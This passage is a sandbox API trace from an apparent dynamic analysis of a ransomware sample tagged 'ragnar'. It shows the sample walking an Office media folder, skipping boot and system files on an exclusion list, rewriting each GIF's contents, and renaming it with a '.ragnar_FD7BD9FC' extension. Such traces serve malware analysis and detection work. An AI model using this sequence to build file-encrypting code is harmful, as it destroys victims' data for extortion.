nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.257] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14582_.GIF" | out: lpString1="BD14582_.GIF") returned="BD14582_.GIF" [0098.257] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF") returned=".GIF" [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="autorun.inf") returned 1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="boot.ini") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="bootfont.bin") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="bootsect.bak") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="bootmgr") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="bootmgr.efi") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="desktop.ini") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="iconcache.db") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="ntldr") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="ntuser.dat") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="ntuser.ini") returned -1 [0098.257] lstrcmpiW (lpString1="BD14582_.GIF", lpString2="thumbs.db") returned -1 [0098.257] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.257] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.257] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.257] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.257] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.257] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.257] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif")) returned 0x20 [0098.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.258] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0098.258] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.258] GetProcessHeap () returned 0x580000 [0098.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.258] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.259] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.259] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.259] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.259] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0098.259] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.259] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.259] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0098.260] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.260] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.260] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.260] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.260] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.260] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.260] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.262] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.262] GetProcessHeap () returned 0x580000 [0098.262] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.262] CloseHandle (hObject=0x10c) returned 1 [0098.262] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" [0098.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF.ragnar_FD7BD9FC" [0098.262] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14582_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14582_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.304] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8115e400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8115e400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14583_.GIF", cAlternateFileName="")) returned 1 [0098.304] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.304] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14583_.GIF" | out: lpString1="BD14583_.GIF") returned="BD14583_.GIF" [0098.304] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF") returned=".GIF" [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="autorun.inf") returned 1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="boot.ini") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="bootfont.bin") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="bootsect.bak") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="bootmgr") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="bootmgr.efi") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="desktop.ini") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="iconcache.db") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="ntldr") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="ntuser.dat") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="ntuser.ini") returned -1 [0098.304] lstrcmpiW (lpString1="BD14583_.GIF", lpString2="thumbs.db") returned -1 [0098.304] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.304] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.304] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.304] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.304] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.305] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.305] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif")) returned 0x20 [0098.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.309] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=175) returned 1 [0098.309] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.309] GetProcessHeap () returned 0x580000 [0098.309] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.309] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.310] VirtualAlloc (lpAddress=0x0, dwSize=0xaf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.310] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.310] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.310] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaf, lpOverlapped=0x0) returned 1 [0098.310] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.310] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.310] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaf, lpOverlapped=0x0) returned 1 [0098.310] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.310] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.310] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.310] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.310] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.311] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.311] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.311] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.311] GetProcessHeap () returned 0x580000 [0098.311] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.311] CloseHandle (hObject=0x10c) returned 1 [0098.311] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" [0098.311] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF.ragnar_FD7BD9FC" [0098.311] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14583_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14583_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.357] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14654_.GIF", cAlternateFileName="")) returned 1 [0098.357] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.357] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14654_.GIF" | out: lpString1="BD14654_.GIF") returned="BD14654_.GIF" [0098.358] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF") returned=".GIF" [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="autorun.inf") returned 1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="boot.ini") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="bootfont.bin") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="bootsect.bak") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="bootmgr") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="bootmgr.efi") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="desktop.ini") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="iconcache.db") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="ntldr") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="ntuser.dat") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="ntuser.ini") returned -1 [0098.358] lstrcmpiW (lpString1="BD14654_.GIF", lpString2="thumbs.db") returned -1 [0098.358] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.358] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.358] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.358] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.358] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.358] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.358] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif")) returned 0x20 [0098.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.359] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0098.359] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.359] GetProcessHeap () returned 0x580000 [0098.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.359] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.360] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.360] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.360] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.360] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0098.361] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.361] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.361] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0098.361] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.361] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.361] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.361] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.361] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.361] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.361] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.361] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.361] GetProcessHeap () returned 0x580000 [0098.361] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.361] CloseHandle (hObject=0x10c) returned 1 [0098.362] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" [0098.362] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF.ragnar_FD7BD9FC" [0098.362] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14654_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14654_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.364] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a53e00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb4a53e00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14655_.GIF", cAlternateFileName="")) returned 1 [0098.364] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.364] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14655_.GIF" | out: lpString1="BD14655_.GIF") returned="BD14655_.GIF" [0098.364] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft 